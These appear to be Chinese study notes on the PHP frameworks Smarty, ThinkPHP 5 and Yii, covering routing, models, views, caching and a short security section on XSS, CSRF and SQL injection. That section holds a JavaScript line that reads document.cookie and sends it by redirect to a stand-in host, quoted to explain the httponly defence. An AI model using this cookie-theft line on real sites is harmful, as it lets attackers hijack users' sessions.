# 1，Smarty视图模板引擎

|  |  |  |
| --- | --- | --- |
| **Smarty简单配置**：  /\*  \* 实例化smarty对象  \*/  $smarty=**new** Smarty();  /\*  \* 配置smarty  \*/  $smarty->left\_delimiter="{";//左定界符  $smarty->right\_delimiter="}";//右定界符。模板中定界符内的内容会被交给smarty处理  $smarty->setTemplateDir("tpl");//html模板文件目录  $smarty->setCompileDir("templates\_c");//模板生成的文件目录  $smarty->setCacheDir("cache");//缓存目录  // //开启缓存，一般不使用smarty的缓存，仅测试  // $smarty->caching=true;  // $smarty->cache\_lifetime=120;//缓存时间  **Smarty最重要方法**：  $smarty->assign("title","文章标题");//给模板中元素赋值  $smarty->display("test.tpl");//显示模板生成内容 | **变量调节器**： | **if语句**：    **selection循环语句**： |
| **Foreach循环语句：** | **Smarty文件引用：**    **Smarty类的使用：**    模板中使用对象名->方法名的方式进行调用 | **Smarty函数使用**：    **Smarty插件**： |
| 修饰插件：注册时选择modifier，与函数的区别是在模板中调用的格式不一样，其他一致。  区块函数插件：调用格式与函数相同，多了一个区块结束符，并且区块中的内容也会作为参数进入函数处理：  定义： | 模板调用区块函数： |  |

# 2，ThinkPHP框架

## 2.1 杂项

具体的ThinkPHP参考手册请点击以下链接，以下仅为简单零散知识点 [ThinkPHP5.0参考手册](http://www.kancloud.cn/manual/thinkphp5)

|  |  |  |
| --- | --- | --- |
|  | **ThinkPHP框架**：    **安装**  在application目录下创建build.php，定义模块的基本信息，执行**php console build**就自动生成目录结构了。 | **访问URL**：  默认方式：需开启pathinfo  http://**serverName/index.php（或者其它应用入口文件）/模块/控制器/操作/[参数名/参数值...]**  兼容模式：  http**://serverName/index.php（或者其它应用入口文件）?s=/模块/控制器/操作/[参数名/参数值...]**  不支持传统的url文件路径方式访问。URL模式不区分模块/控制器等的大小写，打开大小写限制：application/config.php中：  // 关闭控制器名的自动转换  'url\_controller\_convert' => false,  // 关闭操作名的自动转换  'url\_action\_convert' => false, |
| **控制器数据输出**：  控制器输出统一使用response的方式，如下：  $data = ['name'=>'thinkphp','url'=>'thinkphp.cn'];  return ['data'=>$data,'code'=>1,'message'=>'操作完成'];  在config.php中可以设置以下值设置返回格式：  'default\_return\_type'=>'json'，可取值有json，html，text，jsonp | **TP配置：**  所有可以使用的配置项在**thinkphp/convention.php**文件中，并且已经有默认配置，可以选择需要的配置项放入config.php进行配置。  配置格式  return [  '配置参数1'=>'配置值',  '配置参数1'=>'配置值',  // ... 更多配置  ];  如果使用其他格式可以进行转换：  Config::parse(APP\_PATH.'my\_config.ini','ini');  Config::parse(APP\_PATH.'my\_config.xml','xml'); | 读取配置：  echo Config::get('配置参数1');  echo C('配置参数1');  动态配置：  Config::set('配置参数','配置值');  C('配置参数','配置值'); |
| **输入变量检测：**  系统提供了\think\Input类来完成全局输入变量的检测、获取和安全过滤，支持包括$\_GET、$\_POST、$\_REQUEST、$\_SERVER、$\_SESSION、$\_COOKIE、$\_ENV等系统变量，以及文件上传信息。主要用于检测和安全过滤：  （1）全局静态配置  'default\_filter'=> ['strip\_tags','htmlspecialchars'],  （2）全局动态配置：  Input::$filters = ['strip\_tags','htmlspecialchars'];  （3）获取变量时过滤：  Input::get('name','','htmlspecialchars'); // 获取get变量 并用htmlspecialchars函数过滤 | **Session类：**  （1）session初始化或配置文件设置  Session::init([  'prefix' => 'module',//不同module session不同  'type' => '',  'auto\_start' => true, //是否自动启动  ]);  （2）存取数据  Session::set('name','thinkphp',['think']); // 赋值(think作用域)  // 判断think作用域下面是否赋值  Session::has('name',['think']); // 判断(think作用域)下面是否赋值  Session::get('name',['think']); // 取值(think作用域)  Session::prefix('think'); // 指定当前作用域  Session::delete('name',['think']); // 删除(think作用域)下面的值  Session::clear('think'); // 清除think作用域session | **Cookie类**：  （1）初始化  // cookie初始化  Cookie::init([配置参数]); 支持的参数如右边  （2）存取数据  Set,get,delete,clear方法是用和session一致(不支持作用域) |

## 2.2 路由配置

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| **URL路由模式**：  简化URL访问地址，并根据定义的路由类型做出正确的解析。首先需要在config.php中进行配置：   |  |  | | --- | --- | | 路由和默认模式并存：  'url\_route\_on' => true,  'url\_route\_must'=> false, | 只允许路由模式：  'url\_route\_on' => true,  'url\_route\_must'=> true, |   **注册路由规则**：  （1）动态注册：方法类型有get,post,put,delete,\*  Route::register('new/:id','New/update','POST'); //注册到New控制器的update操作，并且以“:”开头的参数都表示动态变量，并且会自动对应一个GET参数  （2）批量注册：  \think\Route::register([  '路由规则1'=>'路由地址和参数',  '路由规则2'=>['路由地址和参数','匹配参数（数组）','变量规则（数组）']  ...  ],'','请求类型','**匹配参数**（数组）','**变量规则'**);  （3）路由配置文件：route.php  return [  'new/:id' => 'New/read',  'blog/:id' => ['Blog/update',['method' => 'post|put'], ['id' => '\d+']],  ] ;  （4）直接指定操作方法：不去调用控制器类方法  Route::get('hello/:name',function($name){  return 'Hello,'.$name;  }); | **变量规则**：限定变量的类型  （1）全局：  Route::pattern([  'name' => '\w+', //字符串  'id' => '\d+', //数字  ]);  （2）局部：在配置路由规则时附带  'blog/:id' => ['Blog/update',['method' => 'post|put'], [**'id' => '\d+']],**  **路由匹配参数**： | **路由地址格式**：    **域名路由**：可以代替虚拟主机，不同域名指向不同的地址  Config.php: 'url\_domain\_deploy' => true  Route.php:  return [  '\_\_domain\_\_'=>[  'blog' => 'blog',  // 泛域名规则建议在最后定义  '\*.user' => 'user',  '\*' => 'book',  ],  // 下面是路由规则定义  ] |

## 2.3 控制器

|  |  |  |
| --- | --- | --- |
| **控制器内跳转和重定向**：  use \think\Controller; //使用success或error跳转都需要继承controller类  class Index **extends \think\Controller //必须继承controller类**  {  public function hello($name){  //return $this->success($name.",你找到我了","shidandan");//跳转或error  //return $this->redirect('index/index/index');//重定向到其他控制器或模块  return $this->redirect('https://cn.bing.com');//重定向到外部网页  }  } | **空操作**：url为不存在的操作时调用  public function \_empty($name){//用于操作不存在的时候调用  return $this->hello($name);  } | **空控制器**：定义Error控制器类在控制器不存在时调用，Error名可以config中修改  class Error  {  public function index()  {  return '没有此控制器';  }  } |

## 2.4 模型

|  |  |
| --- | --- |
| **数据库连接**：  ThinkPHP内置了抽象数据库访问层，把不同的数据库操作封装起来，我们只需要在database.php配置数据库连接参数，使用**公共的Db类**进行操作。  配置了数据库连接信息后，我们就可以直接使用数据库运行原生SQL操作了，支持**query（查询操作）和execute（写入操作）**方法，并且支持参数绑定。  Db::query('select \* from think\_user where id=?',[8]);  Db::execute('insert into think\_user (id, name) values (?, ?)',[8,'thinkphp']);  **Model属性:** 通常一个model对应一个数据表 | **Model实例化**：  $User = \think\Loader::model('admin/User'); 或  $User = D('admin/User');  // 相当于 $User = new \app\admin\model\User(); |

## 2.5 视图和模板

|  |  |  |
| --- | --- | --- |
| 视图功能由\think\View类配合视图驱动（模板引擎）类一起完成，目前的内置模板引擎包含PHP原生模板和Think模板引擎  **视图实例化**：  （1）模板输出  // 实例化视图类  $view = new \think\View();  // 渲染模板输出 并赋值模板变量  return $view->fetch('hello',['name'=>'thinkphp']); //hello模板的路径应该是**view/控制器名/操作名.html**  （2）内容输出  $view = new \think\View();  return $view->show($content,$vars); //直接解析内容而不通过模板文件  **模板引擎**：  模板主要参数如下，可以在实例化view时赋值传入： | **模板赋值**：   1. 调用fetch方法时传入 2. Assign方法赋值   // 实例化视图类  $view = new \think\View();  $view->assign([  'name'=>'ThinkPHP',  'email'=>'thinkphp@qq.com'  ]);  // 模板输出  return $view->fetch('index');  （3） view对象直接赋值  // 实例化视图类  $view = new \think\View();  $view->name = 'ThinkPHP';  $view->email= 'thinkphp@qq.com';  // 模板输出  return $view->fetch('index');  **模板：**  ThinkPHP内置了一个基于XML的性能卓越的模板引擎，这是一个专门为ThinkPHP服务的内置模板引擎，使用了XML标签库技术的编译型模板引擎，支持两种类型的模板标签，使用了动态编译和缓存技术，而且支持自定义标签库   1. 普通标签   普通标签用于变量输出和模板注释，普通模板标签默认以**{ 和 }** 作为开始和结束标识   1. 标签库标签   标签库标签可以用于模板变量输出、文件包含、条件控制、循环输出等功能，而且完全可以自己扩展功能。普通模板标签默认以**{ 和 }** 作为开始和结束标识 | **模板示例**：  View端：  <table align="center" width="70%" border="1"  <tr>  <td><b>管理员编号</b></td>  <td><b>管理员名称</b></td>  <td><b>管理员邮箱</b></td>  </tr>  {volist name="result" id="row"} //volist用于循环输出，类似foreach  <tr>  <td align="center">{$row.id}</td>  <td>{$row.username}</td>  <td>{$row.email}</td>  </tr>  {/volist}  </table>  控制器端：  $user=D("barret/User");  $result=$user->admin();  $view=new \think\View();  $view->assign("result",$result); //assign赋值给array  return $view->fetch("users");//模板渲染输出  **系统变量输出**：不需要在控制器中赋值 |
| **原样输出**：防止被模板引擎解析  可以使用literal标签来防止模板标签被解析，例如：  {literal}  Hello,{$name}！ //{$name}会原样输出，不会被解析成php变量  {/literal}  **模板注释**：  {/\* 注释内容 \*/ } 或 {// 注释内容 }  **模板布局配置**：选择合适的模板文件  （1）全局模板：整个项目用同一个样式的模板，config.php  'template' => [  'layout\_on'=>true, //开启全局模板  'layout\_name'=>'layout', //全局模板文件名  ]  全局模板示例：  {include file="public/header" /}  {\_\_CONTENT\_\_} //这里会填充fetch时指定的模板内容  {include file="public/footer" /}  （2）模板布局标签：不配置config.php  {layout name="layout" /} //直接在模板中声明要使用的模板布局   1. 控制器中指定模板布局   $view->engine->layout('Layout/newlayout');  // 临时关闭当前模板的布局功能  $view->engine->layout(false); | **标签库：**  内置标签库无需导入即可使用，并且不需要加XML中的标签库前缀，ThinkPHP内置的标签库是Cx标签库。 | 比较标签  调用格式：  {比较标签 name="变量" value="值"}  内容  {/比较标签} |

## 2.6 验证器和缓存

|  |  |  |
| --- | --- | --- |
| **Validate验证器类使用**：  $validate = new Validate();  $rule = [  **'name' => ['require','max'=>25],**  **'email' => ['email']**  ];  $data = [  'name'=>'thinkphp',  'email'=>'thinkphp@qq.com'  ];  if(!$validate->check($data,$rule)){  dump($validate->getError());  }  可以通过validate的rule方法添加新的规则(类似require/email等)，设置正则表达式 | **验证规则和错误信息**：  验证规则的另一种格式，并且可以附带验证失败时的提示信息：  $rule = [  ['name','require|max:25','名称必须|名称最多不能超过25个字符'],  ['age','number|between:1,120','年龄必须是数字|年龄必须在1~120之间'],  ['email','email','邮箱格式错误']  ];  **模型验证器**：  Model中有validate方法，可以直接调用该方法进行验证，不需要定义validate类了。 | **缓存简单实用：**  $options = [  'type' => 'File', // 缓存类型为File  'expire'=> 0, // 缓存有效期为永久有效  'length'=> 3, // 缓存队列长度  'path' => APP\_PATH.'Runtime/cache/', // 指定缓存目录  ];  S($options); // 缓存初始化  S('name',$value,3600); // 设置缓存数据  var\_dump(S('name')); // 获取缓存数据  S('name',NULL); // 删除缓存数据 |

# 3，YII框架

## 3.1 简介入门

|  |  |  |
| --- | --- | --- |
| Yii 是一个通用的 Web 编程框架，即可以用于开发各种用 PHP 构建的 Web 应用。因为基于组件的框架结构和设计精巧的缓存支持，它特别适合开发大型应用，如门户网站、社区、内容管理系统（CMS）、电子商务项目和 RESTful Web 服务等  Yii主要目录结构：    **URL访问路径**：  https://www.barretren.com/ /YII/web/index.php?**r=控制器名/操作名[&参数名=参数值]** | **控制器命名规则**：  继承Controller，类名为**控制器名Controller**，操作名为**action操作名**，如下：  namespace app\controllers;  class HelloController extends Controller{  //接收用户输入，输出为内容，默认输出hello world  public function actionHello($msg="hello world"){//action 前缀后面的名称被映射为操作的 ID  //渲染输出到view，附带传递变量,会自动应用views/layouts下的mian布局  return $this->render("hello",['message'=>$msg]);  }  }  **视图命名规则**：  视图为php文件，名称要与render中指定的一致，存放路径为**views/控制器名/视图名.php**  **模型命名规则**：  继承model（普通模型）或activeRecord（数据包关联），成员名可与form表单名称一致，数据会自动填充： | //继承model，普通数据模型  class EntryForm extends Model{  //数据成员，与form表单同名  public $name;  public $email;  //设置数据验证规则，验证要调用validate方法  public function rules(){  return [  [['name','email'],'required'],  ['email','email']  ];}}  Model中数据被自动填充，控制器中就不需要再获取post参数了：  public function actionEntry(){  $model=new EntryForm();  if ($model->load(\Yii::$app->request->post())  && $model->validate()){ //直接验证，不再填充数据  return $this->render("entry-confirm",['model'=>$model]);  }else{  return $this->render("entry",['model'=>$model]);  }} |
| **ActiveRecord模型与数据库关联**：  （1）Config/db.php中设置数据库信息：  return [  'class' => 'yii\db\Connection',  'dsn' => 'mysql:host=localhost;dbname=test',  'username' => 'barret',  'password' => '1230',  'charset' => 'utf8',  ];  （2）模型继承ActiveRecord，类名与数据包名一致  //框架会根据类型自动匹配数据表名  class Country extends ActiveRecord{ }  （3）控制器中直接调用模型的静态方法操作数据库  // 获取 country 表的所有行并以 name 排序  $countries = Country::find()->orderBy('name')->all();  // 获取主键为 “US” 的行  $country = Country::findOne('US');  // 输出 “United States”  echo $country->name;  // 修改 name 为 “U.S.A.” 并在数据库中保存更改  $country->name = 'U.S.A.';  $country->save(); | **Yii自带分页插件：yii\data\Pagination**  （1）分页类初始化  $pagination = new Pagination([  'defaultPageSize' => 5, //每页记录数  'totalCount' => $query->count(), //总记录数  ]);  （2）根据分页类提供的offset和limit查询数据库获取数据  $countries Country::find()->orderBy('name')  ->offset($pagination->offset)  ->limit($pagination->limit)  ->all();  （3）渲染模板时传递数据和分页类实例（用于分页选择链接）  return $this->render('country', [  'countries' => $countries, //数据  'pagination' => $pagination, //类实例  ]);  （4）视图中显示数据，并通过插件显示分页选择链接  use yii\widgets\LinkPager;  echo LinkPager::widget(['pagination' => $pagination]);  效果： | **Session处理**:    **Cookie处理**： |

## 3.2 视图和模型

|  |  |  |
| --- | --- | --- |
| **控制器渲染视图的两种方式**：    **在一个视图中显示另一个视图**：    ==========================================================  **activeRecoed操作数据表的方法**：  （1）where条件查询    （2）数据删除 | （3）添加数据：直接创建模型类赋值保存即可    （4）修改数据：    （5）多表关联查询：**hasMany/hasOne**设置关联关系并获取数据    **关联查询缓存**：使用完unset下，下次才会从新从数据库获取数据  **关联查询多次查询**：使用with降低查询次数 |  |

## 3.3 延迟加载和缓存

|  |  |  |
| --- | --- | --- |
| **类延迟加载**：使用时才导入文件，之前不报错。YII自身就是用的这种技术。延迟加载的示例：    **类映射表**：指定某个类所在的类文件路径，更快的加载类，提高性能  示例： | **数据缓存**：  （1）缓存的基本使用    （2）缓存有效期：单位秒 | **片段缓存**：  视图网页中不太变化的部分可以作为片段缓存保存，提高加载速度。    设置缓存保存时间：    设置缓存开关：    片段缓存嵌套：  **外层的缓存时间要小于等于内层的缓存时间**，否则会出现内层的缓存时间过期但由于外层缓存时间未过期的原因内层已改变的内容未及时显示 |
| **页面缓存：**  需要用到行为，在行为中设置页面缓存behaviors会截获访问，先执行行为中方法再去执行具体的操作，only可以指定还错所有操作，还是某个操作 | **http缓存：**  将页面缓存在浏览器，下次访问时服务器发送304（lastModified），浏览器知道页面没有修改之后，直接使用缓存的页面显示。 | 判断页面是否修改的依据：  //1、根据时间缓存 lastModified=>function()  //2、根据内容变化缓存 etagSeed=>function(){ |

## 3.4 框架安全

|  |  |  |
| --- | --- | --- |
| **XSS攻击**：跨站脚本攻击    （1）javascript攻击  例如：盗取账号和httponly  var cookie = document.cookie;  window.location.href='http://127.0.0.1/index.php?cookie'+cookie;  设置某些敏感cookie时附带httponly，这样可以防止通过javascript获取cookie的值  （2）反射型XSS攻击  允许浏览器执行参数中的js代码：    参数中加入js代码：经过url编码和html编码表处理    (3 ) xss蠕虫 | **YII防范XSS攻击**：  （1）转码js代码    （2）过滤js代码    **CSRF攻击防范**：跨站请求伪造  （1）  （2）YII防范CSRF攻击： token方式验证      YII会在cookie中保存一份加密后的csrfToken，在服务器端与表单隐藏的csrfToken进行验证，一致才验证通过 | **SQL注入**：  Sql注入示例：    YII防范SQL注入：  db.php    参数占位符： |